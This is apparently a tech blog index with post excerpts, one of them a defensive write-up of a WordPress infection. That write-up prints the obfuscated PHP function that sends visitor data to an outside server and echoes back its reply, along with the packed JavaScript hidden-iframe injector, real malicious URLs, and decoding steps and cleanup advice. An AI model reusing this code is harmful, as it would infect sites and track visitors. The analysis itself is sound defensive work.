Technology

The Battle Between Copy, Dropbox and Drive!

The choice for storage services has increased over the years. Dropbox was the initially most popular, followed by Google’s own solution Drive; now the front-runner is Copy. What works best, why, and what fits your use best?

Read more

Sender Policy Framework – Protect your E-mail from Spam with SPF

Don’t let your email fall into spam or the limbo of undelivered/unreceived emails. Add an SPF record to your domain: it’s quick, simple, and the benefits speak for themselves.

Read more

How to Unblock / Bypass SOPA with local HOSTS File: Solutions and Discussion

SOPA proposes to force ISP’s to shut down DNS resolution for infringing sites, which at this point, could be any site due to the vague nature of SOPA verbiage.DNS, or the Domain Name System, is a protocol that turns websites into numbers, like facebook.com into 66.220.149.11. Every time you type in a website address you ask your internet service provider like AT&T or Comcast for a number, that number then provides you the website. It’s like having a name on your home address instead of having to give out the full address. This is called DNS ResolutionA little after the 2012 ball dropped, Gregory Conroyand I were discussing possible solutions should SOPA go into effect, he came up with an idea that was, remarkably simple…Modify your HOSTS file to resolve the the desired IP Address! You have a choice, you can ask your internet provider(Comcast, AT&T, etc.) for the IP Address of the website you want, or you can ask someone else(a remote list)…or even define it yourself(your own list)! SOPA does not prevent accessing websites based on IP address however, so some sites will still work by typing in the number. For instance, if you want to go to Facebook you could type: http://66.220.149.11 and it would take you to Facebook. SOPA is not as malicious as the Great Firewall of China because of this lack of IP Blocking, and allows for easy circumvention. Essentially, it would just block websites from non tech savvy people who do not understand what an IP Address is. What is not commonly known, except among tech/gadget circles, programmers and pirates, is that your local computer can decide what IP Address a domain points to and bypass the ISP’s DNS resolution, this is a huge part of your privacy, there is a reason why I always recommend the privacy filters. We use this in web development to “spoof” a website locally, pointing it to our development servers while we work. The solution to SOPA is achieved by simply modifying your HOSTS file to point the domains you commonly use and domains that are at risk of or are being blocked, to their proper IP Addresses, bypassing your ISP’s DNS Filter. Basically, you manually set facebook to 66.220.149.11 Please note that while this is easily done, and we expect it to be a common method to circumvent SOPA, it may actually be illegal to do this. There is argument over whether or not using a circumvention tool violates law, whereas it is almost certain that creating a circumvention tool will be a violation of law.  The sad thing is that this brings the government home, deciding what you can and can’t install or use on your personal computer…its a slippery slope. Here is an example of a windows HOSTS File and how it would look if you decided to do it (By the way, the HOSTS file is in c:/windows/system32/drivers/etc/ and you must set unset the file from “read only” to modify it.) # Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a ‘#’ symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost 66.220.149.11 facebook.com 66.220.149.11 www.facebook.com If SOPA passes, simple scripts can be written for people to automatically modify their HOSTS file and continue accessing sites that have been blocked, heck, you could even write an application that locally manages your hosts file and updates it based on remote parameters…which can be risky This is EXACTLY what the DNS system was built for and what it does; it is also the goal of DNSSEC: because the remote host would have to be trusted. to create a trustworthy domain name system(DNS) based internet. SOPA will cause more problems than it resolves as people look for alternative ways to connect to their favorite websites while those websites sit in the court system pending legal resolution whether they were mistakenly or rightfully blocked. SOPA will destroy the DNS system and cause users to create solutions of their own, or solutions provided by untrusted sources, exposing them to both viruses and unnecessary hardships. Due to this threat, there are already projects udnerway that are implementing similar solutions…They are getting ready because it seems that there is too much money involved in getting  SOPA to pass. Every major entertainment industry is for it. One that stands out at the moment is Reddit’s Meshnet Plan which is trying to get up and running by January 31st, 2012 (When SOPA may be passed). Their plan is to: To create a versatile, decentralized network built on secure protocols for routing traffic over private mesh or public internetworks independent of a central supporting infrastructure. This would remove the need for trust in one single protocol such as DNS, and make it very difficult for a government or corporate entity to police, as the resolution of IP addresses by domain would be controlled by groups of networks instead of one single source. [6:03 PM] Bill Grunau: well in that case if SOPA gets past Internet goes from Web 2.0 to Web 0.1 [6:03 PM] Alexander D. Conroy: no [6:03 PM] Alexander D. Conroy: Web 4.0 [6:03 PM] Alexander D. Conroy: User controlled internet

Read more

Install Android Marketplace and Google Apps on Amazon Kindle Fire

The first thing the Amazon Kindle Fire is Missing is the Google Framework API. Instead of works on Amazon’s API. This limits many different things you can do with your device. Not only is the fix easy, but doesn’t even require root access to the phone. You just need to enable “install outside applications”. More advanced applications like the Android Market and Calendar do require complex configurations, so for those of you who just want your apps to work now here is… The Quick and Dirty Step by Step: Menu -> Settings ->Device -> Allow Installation of Applications -> On. Install File Management Software. Root Explorer, ES File Explorer or DropBox. Find the App you want to Use on your previous Android device, or online. Option 1: Install Astro on your Android Device and use the “Backup” feature to create an APK on your SD card Make sure that you setup Astro to use the SD Card Click File Manager -> Menu Button ->Preferences ->Backup Directory -> Browse Folder /mnt/sdcard-ext Option 2: Find an APK Online Copy the Contents to your PC’s Hard Disk. Download this file Kindle Google Apps which contains many common Google Apps you probably want to use and also download this key file: GoogleFrameworkServices.apk Copy the Contents of these  to your Kindle Fire, most importantly GoogleFrameworkServices.apk You can skip the copying step if you copy your files on your PC to your dropbox folder and open them in your Kindle Fire. Open ES File Explorer or Dropbox to find the files you have copied. Open GoogleFrameworkServices.apk and install. If you are having trouble with this step, try using the Amazon App Store App “EasyInstaller“. Just remembered that worked for me. I did not need root for this step. Try rebooting your device before installing also, rebooting the Kindle seems to solve a lot of problems when loading the APK’s. Restart your Kindle Install Gmail or any other Google app that requires a sign on. Sign on to Google. Install the rest of your software. (it will use your primary Google Account.) Restart your Kindle Enjoy! Thanks to XDA Forums for the methods and troubleshooting and Sasha Segan from PC Mag for the initial intro on how to do it!   For the more Advanced and Adventurous- Installing the Google Android Market: Download and Install Android SDK Update Android SDK to Latest, including USB Drivers. If you have trouble updating the Android SDK try closing everything navigating to the folder in command prompt, and running android.bat out of the /tools folder. Thanks Mobile World for this fix. Configure your %USERPROFILE%/.android/adb_usb.ini to include “0×1949” Note: If the file or the folder do not exist, you MUST create it! Input it without the “”. In the command prompt (windows + r, type cmd, press enter) Navigate to your Android SDK Install directory under platform-tools (cd /program files (x86)/android/platform-tools/) and run adb kill-server then adb devices to check and see if your Amazon Kindle shows up. If the Driver doesnt work replace your android_winusb.inf with this one. You will then have to update the driver for your device (in Device Manager, look for your Kindle with an Exclamation mark on it, inspect it and click Update Driver…navigate to where the android_winusb.inf is in your Android SDK Directory) If your Kindle is Visible in ADB Download SuperOneClick v2.1.1 Run it and Root your Phone Use Root Explorer (Can buy from Amazon App Store) to Copy A Market APK Backup to /system/apps Click the R/O Button to R/W if you can’t copy properly. Use Root Explorer CHMOD /system/apps to Full Access (777) Run the Market APK From the /system/apps directory. Install the Market APK Restart the Kindle Fire You should be able to install applications now! Installing Google Calendar Sync Another tough one is Google Calendar Sync. You can just install the App, but it wont connect to your Google Account. You need these two files:  Google Calendar APK’s The technique is pretty simple, and similar to the Android Market Installation. Using Root Explorer you need to copy GoogleCalendarSyncAdapter.apk into /system/apps and change its permissions to 777 or full open. Then you can run the Calendar.apk and install it. On Reboot, you should have your calendar syncing with your Kindle! Congrats! Thanks Technipages for helping me realize I was missing the adb_usb.ini file! All problems solved! Now it is a real tablet! A really cheap tablet to boot!  

Read more

Complex WordPress Header Javascript and IFrame Injection Problem, Solution and Analysis

While working on a development site, that sat idle before any actual work was done for a while, we noticed that some kind of iframe injection had occured. There was no trace of it in the database or the server code, nothing that said iFrame, nothing that added extra scripts. This was a brand new website, template from scratch with no plugins and no content…I Was pulling my hair out, but slowly started getting on to the situation, and with the help of Mike Brich from HavenLight Software, got right down to it after hours of investigation and head scratching. This post will be very code intensive, but with full explanations, just a warning, I am jumping right into it!! Overview Bottom line this is how it works: Something Injects Code into wp-settings.php function counter_wordpress is decoded and sends a CURL request to a third party server with your computer info. CURL sends a string from third party server and injects javascript javascript communicates with yet another server and injects an iframe iFrame injects all sorts of other scripts, popups, java programs, and other iFrames from other servers. CURL’d server logs your IP and computer information, and the next time you visit hides itself, or prevents itself from showing its payload, for a while. Repeat. Jump to Solution Jump to Analysis Jump to Questions The Problem The iFrame injection did not appear on my browsers, or any other browser in my office. It seemed to appear only on browsers coming from a IP that hadn’t encountered it before, or at least hadn’t for a while. On success or failure of delivering its payload, it hid! Not only from machines, but from Bots too, Googlebot and Googles malware scans saw nothing coming from this site, it was bizarre. I scanned the source code of the entire wordpress install for any traces of traditional injections or Iframes, but there were none. There was nothing in the database either. I disabled and removed all plugins, and it was still there. The behavior of the code was strange also, it would load the script, show a Java wants to run warning, then on refresh start loading data from various sources as the iFrame was inserted, I found out later that the script had a 5 second delay when loading the iFrame, which didn’t allow me to catch it as I was refreshing, and also, I am sure, helps avoiding automated scans, including Google’s Malware scans. After loading once it would disappear, never to return. I couldn’t see it, however something interesting started to happen. Refreshing the page over and over in the source code, shows an error that appeared on the site and showed up in the source code where the original Injection occured, right before the end of </head> <html> <head> <title>The page is temporarily unavailable</title> <style> body { font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body bgcolor=”white” text=”black”> <table width=”100%” height=”100%”> <tr> <td align=”center” valign=”middle”> The page you are looking for is temporarily unavailable.<br/> Please try again later. </td> </tr> </table> </body> </html>   This made it seem as if another website was loading inside mine, since the opening and closing html tags were a dead giveaway. I started to search for this issue and pretty quickly found out that this was an error message from a web server running nginx, an open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server meant for servers with limited system resources. The server was errorign out, perhaps too many sites are connected at once and its DoSing itself. So, confirmed, my website is loading another website in its header. This is the code that was being used, please be careful and do not click on any links in this document that are in code blocks. <script type=’text/javascript’>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘d 9(){5=2.e(\’7\’);f(!5){8 0=2.c(\’3\’);2.g.h(0);0.6=\’7\’;0.1.a=\’4\’;0.1.b=\’4\’;0.1.n=\’i\’;0.r=\’s://q.o.j/3.k?6=l\’}}8 t=m(“9()”,p);’,30,30,’el|style|document|iframe|1px|element|id|yahoo_api|var|MakeFrameEx|width|height|createElement|function|getElementById|if|body|appendChild|none|pl|php|2b8325qvzjut0iv8b87u9nlxnan0kpc|setTimeout|display|345|500|sokistatehouse|src|http|’.split(‘|’),0,{})) </script> <IFRAME style=”display:none” SRC=”http://finderonlinesearch.com/tds/in.cgi?5&user=mexx” WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME><meta name=”Cart66Version” content=”Professional 1.2.2″ /> </head> It is messy code, difficult to understand with the naked eye, why? Because, as Mike found out, its packed. Here is what it looks like unpacked. function MakeFrameEx() { element = document.getElementById(‘yahoo_api’); if (!element) { var el = document.createElement(‘iframe’); document.body.appendChild(el); el.id = ‘yahoo_api’; el.style.width = ‘1px’; el.style.height = ‘1px’; el.style.display = ‘none’; el.src = ‘http://hardpancakes.xe.cx/showthread.php?t=72291731′ } } var ua = navigator.userAgent.toLowerCase(); if (((ua.indexOf(“msie”) != -1 && ua.indexOf(“opera”) == -1 && ua.indexOf(“webtv”) == -1)) && ua.indexOf(“windows”) != -1) { var t = setTimeout(“MakeFrameEx()”, 500) } Interesting URL! Where does it go? Interestingly enough to a 404 page on a nginx server, as suspected. So where is the iFrame, and where the hell is this packed javascript function getting loaded into the header? Now I go back to my searches, I can’t find any mention of the iFrame URL the new unencoded URL, or even “MakeFrameEx” anywhere in the source code. so I decided to search again for anything with the words wp_head, which can be done like this: # grep -Rin ‘wp_head’ yourdirectory I look again at the function “counter_wordpress” that I had overlooked as a valid system file, that just looked overly complex (I thought it was part of wordpress.com’s tracker). It wasn’t. This is the function that was sitting right above do_action(‘init’) in wp-settings.php: function counter_wordpress() {$_F=__FILE__;$_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’;eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’));$ua = urlencode(strtolower($_SERVER[‘HTTP_USER_AGENT’]));$ip = $_SERVER[‘REMOTE_ADDR’];$host = $_SERVER[‘HTTP_HOST’];$uri = urlencode($_SERVER[‘REQUEST_URI’]);$ref = urlencode($_SERVER[‘HTTP_REFERER’]);$url = $url.’?ip=’.$ip.’&host=’.$host.’&uri=’.$uri.’&ua=’.$ua.’&ref=’.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action(‘wp_head’, ‘counter_wordpress’); There it is, a ridiculously over encoded piece of code that gets injected into wp_head. I am going to move onto the solution now, and then go back to analyze this bit of code, and pose some questions because I still can’t answer precisely on how it got in there in the first place. The Solution Firstly, go to your main wordpress directory and type: # ls -al Take note of any files that have changed recently versus others, most of your wordpress config files should have the same modified date, except maybe wp-config.php wp-settings.php is the file I found infected, but you may find it elsewhere. Remove the function counter_wordpress() including the it’s wordpress hook add_action(‘wp_head’, ‘counter_wordpress’); If you do not have this function in your wp-settings, it may show up somewhere else but you can be sure that it will be followed by an add_action(‘wp_head’, ‘function_name’);  that is not supposed to be there. Find it and remove it immediatly. If you cannot find the code in the wp-settings.php file I suggest running the following command: # grep -Rin ‘wp_head’ yourdirectory Where yourdirectory is the directory in question, this will give you a list of files, line numbers, and code where wp_head exists in your install, which is a requirement for the code to install itself…(imagine if they had encrypted THAT and evaled it, would be impossible to find.) After removing this function you should find that your error message, Injected Javascript and Injected iFrames all stop loading. After you remove the function check your permissions in your wordpress root directory and all other directories, make sure they are set to 755 or even more stringent, mine was not and I suspect that there is some other WordPress vulnerability that took advantage of that, of which I cannot identify. The Analysis Lets dig deeper, how does this thing work? It is encrypted after all… Here is the PHP  function, a bit more legible: function counter_wordpress() { $_F=__FILE__; $_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’; eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’)); $ua = urlencode(strtolower($_SERVER[‘HTTP_USER_AGENT’])); $ip = $_SERVER[‘REMOTE_ADDR’]; $host = $_SERVER[‘HTTP_HOST’]; $uri = urlencode($_SERVER[‘REQUEST_URI’]); $ref = urlencode($_SERVER[‘HTTP_REFERER’]); $url = $url.’?ip=’.$ip.’&host=’.$host.’&uri=’.$uri.’&ua=’.$ua.’&ref=’.$ref; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 2); $re = curl_exec($ch); curl_close($ch); echo $re; } add_action(‘wp_head’, ‘counter_wordpress’); As we can see, this is a average CURL operation, but to where is it sending? We have all the params but the URL, which is concatenated from…somewhere… Actually it has alot to do with that variable $_X which is encoded about 3 or 4 times, as you will see: Evaluation Process This is the process of evaluation: $_X = an Encoded String Another String is Decoded which accepts $_X Inside that code is another Encoded form of $_X Inside that same Code, the new decoded form of $_X is run through strtr function, which replaced letters and numbers with other letters and numbers. Inside taht same code $_R is set and ereg _replace ran through $_R  with $_X Inside that same code, $_R is evaluated Inside that same code $_R and $_X are set to null so you cant echo them outside of the encoding. Then the entire thing is evaluated, giving you $url Evaluation Breakdown Lets break it down: $_F=__FILE__; Encryption Layer 1: $_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’; eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’)); Encryption Layer 2: $_X=base64_decode($_X);$_X=strtr($_X,’123456aouie’,’aouie123456′);$_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X);eval($_R);$_R=0;$_X=0;  Encryption Layer 3: $_X=base64_decode($_X); Result: ?><?php $3rl = ‘http://96.69e.a6e.o0/bt.php’; ?>  Encryption Layer 4: $_X=strtr($_X,’123456aouie’,’aouie123456′); Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?> Encryption Layer 5: $_R=ereg_replace(‘__FILE__’,”‘”.$_F.”‘”,$_X); Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?> Evaluate Command: eval($_R); Result: ?><?php $url = ‘http://91.196.216.30/bt.php’; ?> $_R=0;$_X=0; Set these to 0 so you can’t echo them without recreating the encryption process step by step. Final Result of Encryption: $url =  ‘http://91.196.216.30/bt.php’; $ua = urlencode(strtolower($_SERVER[‘HTTP_USER_AGENT’])); $ip = $_SERVER[‘REMOTE_ADDR’]; $host = $_SERVER[‘HTTP_HOST’]; $uri = urlencode($_SERVER[‘REQUEST_URI’]); $ref = urlencode($_SERVER[‘HTTP_REFERER’]); $url = $url.’?ip=’.$ip.’&host=’.$host.’&uri=’.$uri.’&ua=’.$ua.’&ref=’.$ref; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 2); $re = curl_exec($ch); curl_close($ch); echo $re; } Complex! This is an enourmous amount of work to encrypt and throw off an investigator trying to figure out what happened to their site. It is an amazing level of complexity, kudos to the designer! This will make sure that you cannot search for ANY of the words, URL’s or text in your wordpress files or databases, there is no algorithm to do a search for something of this complexity, it was hard enough to break it down! All of this encoding to hide the URL: http://91.196.216.30/bt.php. The end result is that the script sends this data to the server, with all parameters, and echos whatever the server decides to spit back, in my case, it was the compressed javascript code, shown here uncompressed again for convenience: function MakeFrameEx() { element = document.getElementById(‘yahoo_api’); if (!element) { var el = document.createElement(‘iframe’); document.body.appendChild(el); el.id = ‘yahoo_api’; el.style.width = ‘1px’; el.style.height = ‘1px’; el.style.display = ‘none’; el.src = ‘http://hardpancakes.xe.cx/showthread.php?t=72291731′ } } var ua = navigator.userAgent.toLowerCase(); if (((ua.indexOf(“msie”) != -1 && ua.indexOf(“opera”) == -1 && ua.indexOf(“webtv”) == -1)) && ua.indexOf(“windows”) != -1) { var t = setTimeout(“MakeFrameEx()”, 500) } This code does a strange check to see if the user agent is internet explorer, opera, webtv or windows and if it is, or isnt, sets a timeout to make a iFrame with the previous code. This delay is perfect for stopping detection from bots, crawlers, and some passers by. It causes confusion when troubleshooting it as well. The interesting thing about this malicious code is that it uses well known names, such as yahoo_api to create a new element. This bit of code contacts a website known as hardpankaces.xe.cx, which then delivers its payload by opening up an iFrame to http://finderonlinesearch.com/tds/in.cgi?5&user=mexx. Note that the website in the iFrame was different earlier while troubleshooting, than it was shown, but the user always =mexx, whcih I found odd.  I found the javascript snippet on Pastebin of all places, posted by a guest with no comments. I was interested, where the hell are these domains going, and where is the IP Address located for the originating server that initializes the script? Frankfurt, Germany And Moscow, Russia. Here are the tracert logs and whois records, you can form opinions yourselves: Tracert  – Script Originating IP: Tracing route to 91.196.216.30 over a maximum of 30 hops 4 * * 23 ms 99.167.141.18 5 21 ms 20 ms 20 ms 12.83.70.9 6 22 ms 22 ms 22 ms fldfl01jt.ip.att.net [12.122.81.25] 7 30 ms 23 ms 23 ms 192.205.36.254 8 45 ms 36 ms 36 ms ae-32-52.ebr2.Miami1.Level3.net [4.69.138.126] 9 53 ms 47 ms 53 ms ae-2-2.ebr2.Atlanta2.Level3.net [4.69.140.142] 10 47 ms 47 ms 53 ms ae-73-73.ebr3.Atlanta2.Level3.net [4.69.148.253] 11 65 ms 69 ms 69 ms ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86] 12 74 ms 74 ms 74 ms ae-91-91.csw4.Washington1.Level3.net [4.69.134.1 42] 13 64 ms 70 ms 64 ms ae-92-92.ebr2.Washington1.Level3.net [4.69.134.1 57] 14 149 ms 143 ms 150 ms ae-43-43.ebr2.Paris1.Level3.net [4.69.137.57] 15 148 ms 154 ms 154 ms ae-46-46.ebr1.Frankfurt1.Level3.net [4.69.143.13 7] 16 148 ms 154 ms 148 ms ae-61-61.csw1.Frankfurt1.Level3.net [4.69.140.2] 17 148 ms 154 ms 147 ms ae-1-60.edge3.Frankfurt1.Level3.net [4.69.154.7] 18 155 ms 155 ms 158 ms IPTRIPLEPLA.edge3.Frankfurt1.Level3.net [212.162 .40.194] 19 358 ms 197 ms 192 ms te7-2-pontiac.stk.citytelecom.ru [217.65.1.229] 20 186 ms 180 ms 186 ms te4-4-adelaida.spb.citytelecom.ru [217.65.1.201] 21 187 ms 178 ms 185 ms 62.152.42.134 22 215 ms 214 ms 220 ms 91.196.216.30 Whois – Script Originating IP: inetnum: 91.196.216.0 – 91.196.219.255 netname: SPETSENERGO-NET descr: SpetsEnergo Ltd. country: RU org: ORG-SL138-RIPE admin-c: KDS23-RIPE tech-c: KDS23-RIPE remarks: SPAM issues: [email protected] remarks: Network security issues: [email protected] remarks: General and other information: [email protected] status: ASSIGNED PI mnt-by: RIPE-NCC-END-MNT mnt-by: MNT-SPETSENERGO mnt-lower: RIPE-NCC-END-MNT mnt-routes: MNT-SPETSENERGO mnt-domains: MNT-SPETSENERGO source: RIPE #Filtered organisation: ORG-SL138-RIPE org-name: SpetsEnergo Ltd. tech-c: KDS23-RIPE admin-c: KDS23-RIPE remarks: SPAM issues: [email protected] remarks: Network security issues: [email protected] remarks: General and other information: [email protected] org-type: OTHER address: Russia, 127422, Moscow, Timiryazevskaya st, 11 mnt-ref: MNT-SPETSENERGO mnt-by: MNT-SPETSENERGO source: RIPE #Filtered person: Kruchkov Dmitry Sergeevich address: Russia, 127422, Moscow, Timiryazevskaya st, 11 abuse-mailbox: [email protected] phone: +7 916 959 2268 nic-hdl: KDS23-RIPE source: RIPE #Filtered route: 91.196.216.0/22 descr: SPETSENERGO origin: AS43239 mnt-by: MNT-SPETSENERGO source: RIPE #Filtered Tracert: http://hardpancakes.xe.cx/showthread.php?t=7229173 (46.4.108.18) 5 21 ms 21 ms 20 ms 12.83.70.9 6 44 ms 23 ms 22 ms fldfl01jt.ip.att.net [12.122.81.25] 7 30 ms 29 ms 23 ms 192.205.36.254 8 36 ms 35 ms 35 ms ae-32-52.ebr2.Miami1.Level3.net [4.69.138.126] 9 43 ms 36 ms 42 ms ae-2-2.ebr2.Atlanta2.Level3.net [4.69.140.142] 10 42 ms 38 ms 43 ms ae-73-73.ebr3.Atlanta2.Level3.net [4.69.148.253] 11 54 ms 53 ms 60 ms ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86] 12 53 ms 58 ms 59 ms ae-81-81.csw3.Washington1.Level3.net [4.69.134.1 38] 13 57 ms 59 ms 53 ms ae-82-82.ebr2.Washington1.Level3.net [4.69.134.1 53] 14 146 ms 134 ms 140 ms ae-44-44.ebr2.Paris1.Level3.net [4.69.137.61] 15 139 ms 138 ms 146 ms ae-48-48.ebr1.Frankfurt1.Level3.net [4.69.143.14 5] 16 139 ms 144 ms 144 ms ae-81-81.csw3.Frankfurt1.Level3.net [4.69.140.10 ] 17 139 ms 144 ms 138 ms ae-3-80.edge3.Frankfurt1.Level3.net [4.69.154.13 5] 18 139 ms 145 ms 180 ms HETZNER-ONL.edge3.Frankfurt1.Level3.net [212.162 .40.206] 19 157 ms 158 ms 149 ms hos-bb1.juniper1.fs.hetzner.de [213.239.240.242] 20 153 ms 144 ms 144 ms hos-tr1.ex3k10.rz14.hetzner.de [213.239.224.139] 21 150 ms 144 ms 150 ms static.18.108.4.46.clients.your-server.de [46.4. 108.18] Trace complete. Whois: http://hardpancakes.xe.cx/showthread.php?t=7229173 (46.4.108.18) inetnum: 46.4.108.0 – 46.4.108.31 netname: HETZNER-RZ14 descr: Hetzner Online AG descr: Datacenter 14 country: DE admin-c: HOAC1-RIPE tech-c: HOAC1-RIPE status: ASSIGNED PA mnt-by: HOS-GUN mnt-lower: HOS-GUN mnt-routes: HOS-GUN source: RIPE #Filtered role: Hetzner Online AG – Contact Role address: Hetzner Online AG address: Stuttgarter Stra?e 1 address: D-91710 Gunzenhausen address: Germany phone: +49 9831 61 00 61 fax-no: +49 9831 61 00 62 abuse-mailbox: [email protected] remarks: ************************************************* remarks: * For spam/abuse/security issues please contact * remarks: * [email protected] , not this address * remarks: ************************************************* remarks: remarks: ************************************************* remarks: * Any questions on Peering please send to * remarks: * [email protected] * remarks: ************************************************* org: ORG-HOA1-RIPE admin-c: MH375-RIPE tech-c: GM834-RIPE tech-c: RB1502-RIPE tech-c: SK2374-RIPE tech-c: ND762-RIPE tech-c: TF2013-RIPE tech-c: MF1400-RIPE nic-hdl: HOAC1-RIPE mnt-by: HOS-GUN source: RIPE #Filtered route: 46.4.0.0/16 descr: HETZNER-RZ-FKS-BLK3 origin: AS24940 org: ORG-HOA1-RIPE mnt-by: HOS-GUN source: RIPE #Filtered Update Delete organisation: ORG-HOA1-RIPE org-name: Hetzner Online AG org-type: LIR address: Hetzner Online AG Attn. Martin Hetzner Stuttgarter Str. 1 91710 Gunzenhausen GERMANY phone: +49 9831 610061 fax-no: +49 9831 610062 admin-c: DM93-RIPE admin-c: GM834-RIPE admin-c: HOAC1-RIPE admin-c: MH375-RIPE admin-c: RB1502-RIPE admin-c: SK2374-RIPE admin-c: TF2013-RIPE admin-c: MF1400-RIPE mnt-ref: HOS-GUN mnt-ref: RIPE-NCC-HM-MNT mnt-by: RIPE-NCC-HM-MNT source: RIPE #Filtered Tracert: http://finderonlinesearch.com/tds/in.cgi?5&user=mexx (78.159.112.180) 5 21 ms 21 ms 22 ms 12.83.70.9 6 22 ms 22 ms 21 ms fldfl01jt.ip.att.net [12.122.81.25] 7 29 ms 27 ms 29 ms 192.205.36.254 8 24 ms 23 ms 29 ms 4.69.138.91 9 64 ms 71 ms 70 ms ae-2-2.ebr1.Dallas1.Level3.net [4.69.140.133] 10 64 ms 70 ms 64 ms ae-91-91.csw4.Dallas1.Level3.net [4.69.151.161] 11 66 ms 71 ms 64 ms ae-93-93.ebr3.Dallas1.Level3.net [4.69.151.170] 12 71 ms 70 ms 64 ms ae-7-7.ebr3.Atlanta2.Level3.net [4.69.134.22] 13 87 ms 80 ms 86 ms ae-2-2.ebr1.Washington1.Level3.net [4.69.132.86] 14 83 ms 87 ms 80 ms ae-81-81.csw3.Washington1.Level3.net [4.69.134.1 38] 15 81 ms 87 ms 81 ms ae-82-82.ebr2.Washington1.Level3.net [4.69.134.1 53] 16 168 ms 167 ms 161 ms ae-41-41.ebr2.Paris1.Level3.net [4.69.137.49] 17 172 ms 166 ms 166 ms ae-48-48.ebr1.Frankfurt1.Level3.net [4.69.143.14 5] 18 172 ms 167 ms 172 ms ae-61-61.csw1.Frankfurt1.Level3.net [4.69.140.2] 19 167 ms 183 ms 167 ms ae-1-60.edge4.Frankfurt1.Level3.net [4.69.154.8] 20 295 ms 203 ms 199 ms 212.162.5.234 21 182 ms 177 ms 176 ms 89-149-218-34.internetserviceteam.com [89.149.21 8.34] 22 183 ms 180 ms 182 ms 89-149-218-178.gatewayrouter.net [89.149.218.178 ] 23 183 ms 175 ms 182 ms 78.159.112.180 Trace complete. Whois: http://finderonlinesearch.com/tds/in.cgi?5&user=mexx (78.159.112.180) inetnum: 78.159.112.0 – 78.159.115.255 netname: NETDIRECT-NET descr: Leaseweb Germany GmbH (previously netdirekt e. K.) remarks: INFRA-AW country: DE admin-c: WW200-RIPE tech-c: SR614-RIPE status: ASSIGNED PA mnt-by: NETDIRECT-MNT mnt-lower: NETDIRECT-MNT mnt-routes: NETDIRECT-MNT source: RIPE #Filtered person: Wiethold Wagner address: Leaseweb Germany GmbH (previously netdirekt e. K.) address: Kleyer Strasse 79 / Tor 14 address: 60326 Frankfurt address: DE phone: +49 69 90556880 fax-no: +49 69 905568822 abuse-mailbox: [email protected] nic-hdl: WW200-RIPE mnt-by: NETDIRECT-MNT source: RIPE #Filtered person: Simon Roehl address: Leaseweb Germany GmbH (previously netdirekt e. K.) address: Kleyer Strasse 79 /Tor 14 address: 60326 Frankfurt address: DE phone: +49 69 90556880 fax-no: +49 69 905568822 abuse-mailbox: [email protected] nic-hdl: SR614-RIPE mnt-by: NETDIRECT-MNT source: RIPE #Filtered route: 78.159.96.0/19 descr: ORG-nA8-RIPE origin: AS28753 org: ORG-nA8-RIPE mnt-lower: NETDIRECT-MNT mnt-routes: NETDIRECT-MNT mnt-by: NETDIRECT-MNT source: RIPE #Filtered organisation: ORG-nA8-RIPE org-name: netdirect org-type: LIR address: netdirekt e. K. Kleyer Strasse 79 / Tor 14 60326 Frankfurt Germany phone: +49 69 90556880 fax-no: +49 69 905568822 admin-c: SR614-RIPE admin-c: WW200-RIPE mnt-ref: NETDIRECT-MNT mnt-ref: RIPE-NCC-HM-MNT mnt-by: RIPE-NCC-HM-MNT 